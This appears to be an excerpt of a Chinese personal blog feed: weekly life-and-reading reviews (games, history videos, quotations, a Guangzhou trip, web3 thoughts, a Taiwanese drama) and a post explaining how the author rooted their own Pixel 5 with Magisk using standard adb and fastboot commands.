&lt;p&gt;比较眼前一亮的就是猫咪斗恶龙了（原谅我游戏玩的少），在steam上很早就加入愿望单但一直没去玩，刚好看到appstore上也有就买了&lt;/p&gt;
&lt;p&gt;配合手柄操作还是挺好玩的，不过一如既往的手残，准备花点时间来通关下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreihla5mpesbifbjvkbu3don6jkll35qw3bp5wigjs7vseyhfgjbm2y.jpeg&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;序言提到我对历史越来越上头了，同时开始思考政权的合法性，偶然间刷到了这个视频
&lt;a href=&quot;https://www.bilibili.com/video/BV1YX4y1x7ax/?spm_id_from=333.1007.top_right_bar_window_history.content.click&amp;amp;vd_source=15a2dc392ee5cfd2402320bee219d8e3&quot;&gt; 魏蜀吴三国争天命，各有什么特色？哪家合法性更高？ &lt;/a&gt;
作者是真敢讲啊，怎么看都觉得很反动🐶&lt;/p&gt;
&lt;p&gt;B站的这个课程我也还挺喜欢的，准备买了好好学学，思考下权力到底是什么，以及国家存在的意义等
&lt;a href=&quot;https://www.bilibili.com/cheese/play/ep65845?t=66&amp;amp;csource=common_hp_history_null&quot;&gt; 偏见看政治：李筠教授的政治学课 &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;另外，这段话怎么看都觉得是在讽刺时政… 果然苏联笑话永不过时🤣&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiemvyhqnq73j6suagugtqik5wgelyo2os62tt2wpov2vlkcaodaeq.png&quot; alt=&quot;DraggedImage-1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;📝 一些值得回味的句子&lt;/p&gt;
&lt;p&gt;主要是张晓风的句子，太喜欢她的散文了（主要是凑周报字数想不到吧😁&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;虽然沮丧，但一瞬间，有个念头，仿佛万道霞光破云而出。 “你，还有一支笔。”&lt;/li&gt;
&lt;li&gt;似乎是仗了好风好日的胆子，我于是走了进去……&lt;/li&gt;
&lt;li&gt;曾经是一段惊人的芬芳甜美，曾经装在华丽炫目的盒子里，曾经那么招人爱，曾经令人钦慕垂涎，曾经傲视同侪，曾经光华自足……而终于人生一世，善舞的，舞低了杨柳楼心的皓月；善战的，踏遍了沙场的暮草荒烟；善诗的，惊动了山川鬼神；善于众敛的，有黄金珠玉盈握……而至于他们自己的一介肉身，却注定是抛向黄土的一具盒子。&lt;/li&gt;
&lt;li&gt;我于是憬悟到自身的庄严、灿美，原来尤胜于在深山莲花座上趺坐的石佛。&lt;/li&gt;
&lt;li&gt;如果蓝天可以忘记白云的拂拭，如果老树可以忘记黄鹂的啭歌，你也快快忘了我那天小小的造访吧&lt;/li&gt;
&lt;li&gt;恰如草莽布衣，一入庙堂便生机断尽&lt;/li&gt;
&lt;li&gt;于是，时不时地，我用喷雾器把石头花盆喷得潮潮润润的。我想骗骗那石头，让它误以为自己仍住在山上，仍然日日餐霞饮露，仍是一块含烟带雨的石头。&lt;/li&gt;
&lt;li&gt;我承认一钵一杖即可遍行天下的人固然了无牵挂，非常值得佩服，但像我这样想带着清茶以敬天下名人的人，不也挺可爱吗？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;📮 Newsletter&lt;/p&gt;
&lt;p&gt;以后所有的记录就都会自动同步到个人频道啦, &lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过也会摘录一些放在博客里：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1bj411B7xe/?spm_id_from=333.999.0.0&quot;&gt; 3年时间,从学生到百大,我经历了什么?丨我的创业故事 &lt;/a&gt;大狸子居然和毕业相差不到1年！初期的创业故事还是挺感动的，不过背后还是有很多隐藏的事并没有讲出来，不过被幸存者偏差误导了（讲真我在大学时连xbox是什么都不知道）&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV12h4y1r7C5/?spm_id_from=333.999.0.0&quot;&gt; “网红打卡点”套路解析与实践 -【冷却报告】&lt;/a&gt; 很有意思的视频，如果最后模特换成小姐姐，估计这个网红打卡点真的就成了&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.pseudoyu.com/zh/2023/08/15/weekly_review_20230815/&quot;&gt; 周报 44 - 静寂工人、xLog 与日常 &lt;/a&gt;终于更新了哈，狗粮管饱🐶&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s?__biz=MjM5OTg2MzE4Mg==&amp;amp;mid=2257483855&amp;amp;idx=1&amp;amp;sn=012da42659d465e1ebcb0adcd148dd42&amp;amp;chksm=a44e2eae9339a7b8d248bbd2bdb1b3640864e040900c63d71d001a35eb6833f52f9a586e4917rd&quot;&gt; 一个独立创造者的五年 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://suithink.me/2023/08/13/%e9%9a%8f%e8%ba%ab%e5%90%ac%e5%92%8c%e5%86%b0%e5%95%a4%e9%85%92%ef%bc%8c%e6%b5%81%e8%a1%8c%e4%b9%90%e4%b8%8e%e7%83%ad%e5%92%96%e5%95%a1%ef%bc%8c%e8%b0%81%e6%9d%a5%e5%ae%9a%e4%b9%89%e7%bb%8f%e5%85%b8/&quot;&gt; 随身听和冰啤酒，流行乐与热咖啡，谁来定义经典设计？非正常读物 vol.4 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.aeilot.top/2023/08/09/kuangrenriji/index.html&quot;&gt; “救救孩子……”—— 谈鲁迅和《狂人日记》 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://matters.town/@amateurs/404541-%E5%9B%9E%E5%BD%A2%E9%92%88%E8%A7%A3%E6%95%A3%E4%B8%A4%E5%B9%B4%E4%BA%86-%E4%BB%96%E4%BB%AC%E6%80%8E%E4%B9%88%E6%A0%B7%E4%BA%86-bafybeifvvbkdcloazpuetjghzry7i2guljtqwnak6rfuiyas2v6uggr7gm&quot;&gt; 回形针解散两年了，他们怎么样了？ &lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>安卓手机root二三事</title><link>https://rayepeng.net/posts/android-1/</link><guid isPermaLink="true">https://rayepeng.net/posts/android-1/</guid><pubDate>Sun, 20 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;安卓手机root二三事&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeifgjefxe3lg7etu224zc6w7gc7h7bh2mustbk6ixf6i4q5kdn24ue.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;起因是这样的，很久之前（大概1年前吧），有一部Google Pixel5手机，是拿来做测试的。自然是少不了折腾，magisk、太极等都安排上。结果在一次操作失误后，把手机重置了。于是又只能重来一遍，结果在刷入Magisk的时候失败了，导致手机无限重启，当时还挺后悔，想着用不了了，后来就晾在一边没管了。&lt;/p&gt;
&lt;p&gt;结果上周，心血来潮给手机充了个电，居然又能用了？时间居然真的可以修复bug吗🤣&lt;/p&gt;
&lt;p&gt;https://twitter.com/rayepeng_/status/1691006785803673600?s=20&lt;/p&gt;
&lt;p&gt;安卓这块确实不是很熟，于是决定恶补一下这里的知识&lt;/p&gt;
&lt;p&gt;一些概念&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;OTA&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;OTA（Over-The-Air）映像是指通过无线方式传送到设备上的系统或应用更新包。OTA 更新允许设备制造商、运营商或应用开发者将更新推送到用户设备，而用户无需连接到计算机或使用其他外部工具。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;简单来说就是平常系统升级的时候，通过无线的方式去下载获得的包。具体OTA升级原理是要看这个&lt;a href=&quot;https://zhuanlan.zhihu.com/p/70377497&quot;&gt; android ota升级原理3&lt;/a&gt;，不过此处我们简单知道概念就好&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Magisk&lt;/strong&gt;
关于Magisk的原理，可以理解为magisk是挂载一个与系统文件隔离的文件系统来加载自定义内容，为系统分区打开了一个通往平行世界的入口，所有改动在那个世界（Magisk 分区）里发生，在必要的时候却又可以被认为是（从系统分区的角度而言）没有发生过。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreigq56epxxsxn63hhu3mq63u5mdzfnr66lolgif7zeay5kvie7gmr4.png&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;既然跟分区相关，那就得了解下分区是什么
类比Windows磁盘的分区，本质上是在磁盘上去划分一段段连续的存储区域，并且按照一定的格式来组织数据。就像Windows有启动分区一样，回顾下启动过程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;CPU执行BIOS初始化、自检等程序，加载磁盘内容到物理内存0x7c00处&lt;/li&gt;
&lt;li&gt;从引导扇区的Boot程序开始执行&lt;/li&gt;
&lt;li&gt;……&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;安卓本质上也是一个Linux系统，启动过程自然也是可以类比，那么这里就不难理解安卓的分区了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;boot 分区&lt;/strong&gt;：包含启动加载器需要的所有信息，如内核。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;system 分区&lt;/strong&gt;：包含 Android 操作系统本身。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;recovery 分区&lt;/strong&gt;：包含恢复模式的代码，用于更新、备份或恢复系统。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;userdata 分区&lt;/strong&gt;：包含用户数据和应用程序。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;cache 分区&lt;/strong&gt;：用于存储临时数据和 OTA 更新。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些信息往往写在磁盘最开的几个KB中，如果你了解mbr、gpt等磁盘分区表，就不难理解了
在Windows上可以通过WinHex直接查看启动分区的内容，那么安卓如何操作呢？&lt;/p&gt;
&lt;p&gt;可以通过dd命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adb shell su -c &quot;dd if=/dev/block/bootdevice/by-name/boot_a of=/sdcard/boot.img&quot;
adb pull /sdcard/boot.img
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于现在安卓系统支持 A/B 分区方案，即有两个独立的系统分区， &lt;code&gt;boot_a&lt;/code&gt; 和 &lt;code&gt;boot_b&lt;/code&gt; ，这样的设备可以在一个分区上运行系统，同时在另一个分区上进行后台更新，然后在下一次重启时切换到新的分区，从而实现无缝的系统更新。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注：本质上Linux一切皆文件，boot_a 实际指向的是 /dev/block 下的设备文件&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;redfin:/  ls -al /dev/block/bootdevice/by-name/boot_a
lrwxrwxrwx 1 root root 15 1970-01-04 03:33 /dev/block/bootdevice/by-name/boot_a -&amp;gt; /dev/block/sda6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么这里Magisk要做什么也就呼之欲出了，本质上就是提取 &lt;code&gt;boot.img&lt;/code&gt; 的内容，然后给它打patch，实现一个Magsik的分区&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;bootloader&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如果还记得操作系统启动流程，那么bootloader实际上一个很重要的功能就是初始化内存、加载磁盘的引导分区。所以只要能进入 &lt;code&gt;bootloader&lt;/code&gt; 界面，那么手机大概率都是有救的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adb reboot bootloader
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;fastboot&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;fastboot&lt;/code&gt; 类似于adb，可以与设备的 bootloader 通信。主要用来解锁，以及刷入&lt;/p&gt;
&lt;p&gt;注意设备必须处于 bootloader 模式（也称为 fastboot 模式）才可以使用 &lt;code&gt;fastboot&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;常用的 &lt;code&gt;fastboot&lt;/code&gt; 命令：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;fastboot devices&lt;/code&gt;：列出连接到计算机的设备&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;fastboot flash [partition] [filename]&lt;/code&gt;：刷写指定的分区。例如，要刷写 recovery 分区:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;fastboot flash recovery recovery.img
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;fastboot boot [kernel] [ramdisk]&lt;/code&gt;：不直接刷写到设备，而是仅从给定的内核/ramdisk 引导&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;fastboot erase [partition]&lt;/code&gt;：擦除指定的分区&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;fastboot oem unlock&lt;/code&gt;：解锁设备的 bootloader&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;安装Magisk&lt;/p&gt;
&lt;p&gt;大体上来说可以分为几个步骤&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;解锁bootloader&lt;/li&gt;
&lt;li&gt;patch boot.img&lt;/li&gt;
&lt;li&gt;刷入patch后的boot.img&lt;/li&gt;
&lt;li&gt;通过Magisk Manage安装Magisk&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;第一步要看手机品牌而定，Google在这一块还算是比较开放的
同时，Pixel最好的一点就是，官网已经提供好了设备的image： &lt;a href=&quot;https://dl.google.com/dl/android/aosp/redfin-tq1a.221205.011-factory-20783ab0.zip?hl=zh-cn&quot;&gt;下载链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;只需要确定好手机版本号即可（不像小米，还需要有积分才能申请到开发版）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreifccn2x5h2hskodtyqih43crgdukjpebb5camebawsgqzny4ef6za.png&quot; alt=&quot;DraggedImage-1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下载好，解压找到 &lt;code&gt;boot.img&lt;/code&gt; ，传入手机，通过 Magisk Manage 打patch，导出。&lt;/p&gt;
&lt;p&gt;从patch后的img启动，这个操作一般是没有风险的，如果直接 覆盖则可能出问题（不过问题也不太大）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fastboot boot magisk_patched-26100_nRGcd.img
Sending &apos;boot.img&apos; (98304 KB)                      OKAY [2.521s]
Booting                                            (bootloader) boot.img missing cmdline or OS version
OKAY [1.577s]
Finished. Total time: 4.145s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动之后，此时就能临时获得root权限。当然重启后就会失效，因为重启后还是从原来的 &lt;code&gt;boot.img&lt;/code&gt; 启动&lt;/p&gt;
&lt;p&gt;这时候可以通过Magisk Manage刷入即可，这种方式相对来说更加安全&lt;/p&gt;
&lt;p&gt;问题回顾&lt;/p&gt;
&lt;p&gt;后来回顾了下，原来是这个问题：&lt;/p&gt;
&lt;p&gt;https://twitter.com/rayepeng_/status/1691376215285010434&lt;/p&gt;
&lt;p&gt;也有一些其他的解决方案，如关闭验证等，但是我尝试了没啥用就没管了&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://shjian.cc/magisk-boot/&quot;&gt; Magisk boot刷入无限重启问题 &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Magisk模块推荐（内空）&lt;/p&gt;
&lt;p&gt;本来是应该要推荐一些的Magisk模块的，奈何我已经很少用安卓了，安装Magisk的目的也就是为了root而已🤣&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://sspai.com/post/68531&quot;&gt; 刷了 Magisk 之后装什么？我推荐这 20+ 个模块 &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;参考&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.isteed.cc/post/pixel-3-install-magisk/&quot;&gt; 玩机的必备操作 —— Pixel3 安装 Magisk &lt;/a&gt;
&lt;a href=&quot;https://www.bilibili.com/read/cv11351314&quot;&gt; [已解决]Pixel 4刷入Magisk在fastboot模式下找不到设备 和如何救砖 &lt;/a&gt;
&lt;a href=&quot;https://bbs.kanxue.com/thread-275939.htm&quot;&gt; [原创] 云手机底层技术揭密 : Android系统启动与Magisk原理 &lt;/a&gt;
&lt;a href=&quot;https://bbs.kanxue.com/thread-265792-1.htm&quot;&gt; [原创] Magisk学习之刷入vbmeta.img及关闭avb2.0校验 &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报11 博客，见字如面的浪漫</title><link>https://rayepeng.net/posts/weekpost11/</link><guid isPermaLink="true">https://rayepeng.net/posts/weekpost11/</guid><pubDate>Sun, 13 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报11 博客，见字如面的浪漫&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeihnjvh3iqjzjs7me24tynbtpylz5df3hrdxndqagjnopulvc4mvbi.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里记录的是raye在2023.8.7~2023.8.13的生活与思考&lt;/p&gt;
&lt;p&gt;这是第十一篇周报了，也可以开始思考下我为什么要写周报这个问题了&lt;/p&gt;
&lt;p&gt;其实也可以换个问法，我为什么要写博客？&lt;/p&gt;
&lt;p&gt;这个问题好回答，很多人都给出过答案，这里我给个简单的答案：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这是互联网人的见字如面，是独属于我们心中的一份浪漫&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;曾经很喜欢董卿的那档节目——《朗读者》，诚哉，信件就是要读出来的，不读，则无感&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;马上相逢无纸笔，凭君传语报平安&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;可见，纸笔记录的是传语，而语言只有读出来才有其活力&lt;/p&gt;
&lt;p&gt;那为什么要写周报呢？我很喜欢老蒋的那句话：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;记忆是由那些不重要的东西，也就是——这一年我们见过的朋友，吃过的东西，去过的城市和街道，由那些意义不明，但是充满乐趣的周末和夜晚组成。正是这些闪亮的，非必要的事物，填充了被大事件框架搭起来的记忆宫殿&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;但这段话又失之于太过武断，凭什么记忆就一定是由不重要的东西组成的呢？&lt;/p&gt;
&lt;p&gt;尽管谈论工作会显得有些千篇一律，但我觉得，生活的每一天，可以被你的阅读、运动、记录给填满，尽管这些时间或许不只能占到一天24小时的20%不到，但你在其中是欢乐的&lt;/p&gt;
&lt;p&gt;其实，何必一定要追求这些呢，我们见过谁，吃过什么，去过哪里，这些终究都是一个载体，是引子，是回忆的对象。&lt;/p&gt;
&lt;p&gt;人为什么不能两次踏入同一条河流呢？&lt;/p&gt;
&lt;p&gt;因我思故我在，我在任一时刻的想法，都是组成了独一无二的我，因为我知道，这只是由我来思考的，是由我来想象的一方天地，是由我来描绘的一片星海，是由我来驰骋的一处领域&lt;/p&gt;
&lt;p&gt;于是，我会将任何不同时刻的想法都快速记录下来，打上 &lt;code&gt;周报&lt;/code&gt; 的标记，让我在周日的时候，有机会重新回到这个天地中，采摘果实；回到这片星海里，荡舟溯流；深入这处领域里，自由飘荡&lt;/p&gt;
&lt;p&gt;是为本周周报序&lt;/p&gt;
&lt;p&gt;📝 广州记录&lt;/p&gt;
&lt;p&gt;本周周三的时候和同事去了一趟广州出差，其实并不是开会而是庆祝业务小目标突破了哈哈哈🤣。晚上毫无疑问的又要喝酒，这可能是我第一次喝这么醉吧，回酒店的路上还是吐了😅（主要是因为白酒+葡萄酒+红酒三种酒一起混着喝的）&lt;/p&gt;
&lt;p&gt;本身自己也有很多感悟吧，来团队两年多了，大的贡献并没有，但是小的成绩也还是可以。而且下半年和leader定死了一个目标一定要实现，于是索性借着酒劲，拉着老板讲述着自己下半年一定要怎么做，让老板看出成绩（老板：你不要过来啊😊&lt;/p&gt;
&lt;p&gt;中间还和我导师、leader三个人一起，互相鼓劲，下半年一定是把弦绷紧了，卯着劲往前冲的。当时突然想到庄子那句“虽千万人，吾往矣”，不由得脱口而出，算是当着leader的面立下军令状了哈哈哈哈&lt;/p&gt;
&lt;p&gt;晚上被同事拖着回酒店（真的只剩一点残留的意识了），尽管才10点多，洗漱完倒头就睡了，都没来得及好好欣赏下珠江夜景~😂&lt;/p&gt;
&lt;p&gt;不过早上5、6点就醒了（毕竟生物钟只让我睡7个小时），下床走路还是有些摇摇晃晃，不过恢复的也七七八八了。我们住的酒店有个超大落地窗，可以俯瞰珠江，欣赏广州的清晨（你见过凌晨5点的广州吗，我见过哈哈哈哈🐶）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeig7otn6btvbpwdhhbx3ozbhiser2i5tzhpnkamhn2nxdmvkpe6wgq.jpeg&quot; alt=&quot;IMG_5062&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeihwspgiugyr2vn3bgurnzcd4nf6utmy3lvcwjex645tgj65nf2x3m.jpeg&quot; alt=&quot;IMG_5060&quot; /&gt;&lt;/p&gt;
&lt;p&gt;不过这个酒店也就江景房这一点吸引人了吧，实际体验很拉胯，比如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;床头柜连插座都没有，为了不让你在床上玩手机真的操碎了心&lt;/li&gt;
&lt;li&gt;早上起来一次性梳头发的也没有&lt;/li&gt;
&lt;li&gt;房间整体感觉并不是很新，卫生打扫的也一般般&lt;/li&gt;
&lt;li&gt;早餐还算行吧，中规中矩，也没有太多特色&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;给我的感觉还不如以前大学出去打比赛的时候住的宜家汉庭酒店呢哈哈哈哈&lt;/p&gt;
&lt;p&gt;上周的周报回忆了自己的深圳生活，也顺便记录下自己对广州的记忆吧。第一次来广州还是实习的时候跟着导师来开会的，见了几个在广州工作的同学，感受到了广州的湿热天气，体验到了广州总部的食堂。&lt;/p&gt;
&lt;p&gt;关于广州的天气，感觉还是马亲王写的最好，摘录如下：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;广州这里气候炎热，三月便和长安五六月差不多。李善德走进城里，只觉得浑身都在冒汗，如蚂蚁附身一般。尤其是脖子那一圈，圆领被汗水泡软了，朝内折进，只要稍稍一转动，皮肉便磨得生疼。
这广州城里的景致和长安可不太一样。墙上爬满藤蔓，屋旁侧立椰树，还有琴叶榕从墙头伸出来。街道两侧只要是空余处，便开满了木棉花、紫荆、栀子花、茶梅与各种叫不上名字的花，几乎没留空隙，近乎半个城市都被花草所淹没。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;后来实习将要结束，独自一人来广州答辩，当天去当天回，一天将近5个小时的车程。当时还是有些伤感加担心的吧，害怕答辩不通过，无法留用。望着高速路上的灯光发呆，默默数着一颗颗飞离自己的行道树，我才意识到我的大学生活就剩一年了，已经是即将要迈入社会的人了&lt;/p&gt;
&lt;p&gt;后来的结果自然是很好的，答辩通过后就留下来了，除了疫情稍稍放松的那段时间有来广州和同学一起玩过一次外，与广州的交集也比较少了（当天晚上还没买到回深圳的高铁票，于是打电话给广州这边的前leader，借住了一晚哈哈哈哈）。加上疫情后来严重了，也就基本没怎么来过了&lt;/p&gt;
&lt;p&gt;那些逐渐失散的记忆，在这一次的旅程中，又慢慢回来了，是以记录如下，权做留念、&lt;/p&gt;
&lt;p&gt;💭思考&amp;amp;杂记&lt;/p&gt;
&lt;p&gt;xLogger&lt;/p&gt;
&lt;p&gt;发了条Twitter~，纪念下自己成为xLogger之后粉丝数首次破百&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;比较遗憾的是技术文章发的好少，主要都集中在周报了。不过这也是因为技术类的文章我一般都很有洁癖，一般在写的时候回反复问自己，这个点到底弄清楚了没有，如果是自己都没有搞清楚的点一般都要弄清楚了才行&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;https://twitter.com/rayepeng_/status/1689618751338262528&lt;/p&gt;
&lt;p&gt;也很开心自己的文章：&lt;a href=&quot;https://raye.xlog.app/gou-jian-ge-xing-hua-de-shu-zi-ri-ji--zi-dong-hua-gong-zuo-liu-shi-xian-xin-xi-ju-he&quot;&gt; 构建个性化的数字日记：自动化工作流实现信息聚合 &lt;/a&gt;能够帮助到好多好多人🥰&lt;/p&gt;
&lt;p&gt;后续还打算写的，我先把flag立起来，放心都建好文件夹了😅&lt;/p&gt;
&lt;p&gt;《自动化工作流补充》—— 自动化工作流有一些问题记录，作为后续
《我为什么用Ulysses写作》——目前Ulysses已经是我的主力写作工具了，准备安利给更多的人
《Raycast使用不完全指北》—— Raycast目前也在开发自己想要的插件，同时也是主力效率工具
《JS、v8、浏览器、内存》——标题还没想好，主要是介绍JS内存这块的东西&lt;/p&gt;
&lt;p&gt;最近也熟悉了xlog的代码，有个评论置顶的需求，准备实现下提个pr（我感觉评论置顶是刚需啊啊啊）&lt;/p&gt;
&lt;p&gt;web3的一些想法&lt;/p&gt;
&lt;p&gt;作为diygod的粉丝(划掉🐶)，这周听了他参与录制的一起播客：&lt;a href=&quot;https://www.xiaoyuzhoufm.com/episode/645a76f67d934b85051081c8&quot;&gt; No.28 和xlog.app的作者DIYGOD聊区块链和博客平台、前端学习和生活感悟 &lt;/a&gt; （虽然主持人的口音是不是有点重🤣但是不影响我学技术！）&lt;/p&gt;
&lt;p&gt;于是也思考了下：
web2.0时代，如知乎是把文章存在服务器上，因为最开始，维持服务器的费用要大于用户产生的价值？（这个论断可能不正确）&lt;/p&gt;
&lt;p&gt;但本质上，随着平台用户的不断累积，规模效应+流量扩大之后，用户产生的价值实际是要远远大于服务器维持的费用（比如那些KOL）。这时候平台的监管其实很大程度上会损害创作者的利益&lt;/p&gt;
&lt;p&gt;而web3解决的就是这个问题，web3则认为，用户产生的价值是至上的，是不能依赖第三方来存储的，所以要去中心化。而为了达到这个目的，毕竟要算哈希签名，故用户需要付费（当然在xlog上也是这样的，只不过可以领低保）&lt;/p&gt;
&lt;p&gt;结合上面的论述，web3没用起来是由很多原因的，其中一点就是：&lt;/p&gt;
&lt;p&gt;很多人都认为我就写那点点玩意，平台愿意给我流量我都千恩万谢了，我还要用web3来折腾？&lt;/p&gt;
&lt;p&gt;这其实多少有点跪久了都不知道怎么站起来了，永远不要忽视了自己的价值&lt;/p&gt;
&lt;p&gt;📺 追剧 &amp;amp; 📖阅读 &amp;amp; 🎧音乐&lt;/p&gt;
&lt;p&gt;本周高强度刷完了 &lt;strong&gt;《八尺门的辩护人》&lt;/strong&gt;，很少接触台剧的我，通过这部剧加深了对台湾的了解&lt;/p&gt;
&lt;p&gt;要说起台湾，恐怕很多人也跟我一样，只知道九二共识、台独、蔡英文、自古以来等等&lt;/p&gt;
&lt;p&gt;这就是可悲之处了，既然台湾是中国不可分割的一部分，何以我们对现代台湾的了解这么少呢？我觉得这是教育要反思的问题&lt;/p&gt;
&lt;p&gt;在这部剧中，我看到了台湾的行政体系是怎么运作的，了解到台湾的经济支柱捕鱼业，才知道还有台湾原住民的说法。当然其揭露的阴暗面，已有点超出我的认知了。其实，看到这部剧的简介的时候，其结局就已经注定了是一个悲情英雄的故事，各方的势力博弈，台上台下，看得到看不到的操作，都在这部剧中呈现的淋漓尽致。是啊，以一人之力，终究只是个蚍蜉撼大树的故事，就算有“虽千万人，吾往矣”的凌云志，最后也会折翅于人间&lt;/p&gt;
&lt;p&gt;另外本周很喜欢的一本书是《大汉帝国在巴蜀》，一言以蔽之，这本书最大的亮点在于从政治的角度去看战争，毕竟&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一切战争都是政治的延续&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本书有很多有意思的论述，摘录如下：&lt;/p&gt;
&lt;p&gt;谈到《隆中对》时，作者认为这是一个军事构想，并没有严谨的政治论述。但他的军事论述确实被检验了一部分，即羽水淹七军，威震华夏。亮六出祁山，雍凉不卸甲，中国不释鞍。如果这两者真的能结合起来，历史可能又会多出一次以弱胜强的著名战役，汉中则又将多出一次成就帝业的典范&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;诸葛亮在分析形势时，对几大力量的分析和判断，均极清醒而透彻。但诸葛亮分析的主要是军事形势，尤其是军事地理形势，而非政治形势。与之相应，诸葛亮提出的是一套军事战略的构想。
如果说军事战略的灵魂是政治指导，那么，政治层面的战略，其灵魂是天下为公的道义主张和判明善恶的价值诉求。《隆中对》通篇没有政治关系的分析，也没有价值评判，因而没有政治定位，也就没有政治指导。作为一套大战略构想，没有了政治指导，也就没有了灵魂。&lt;/p&gt;
&lt;/blockquote&gt;
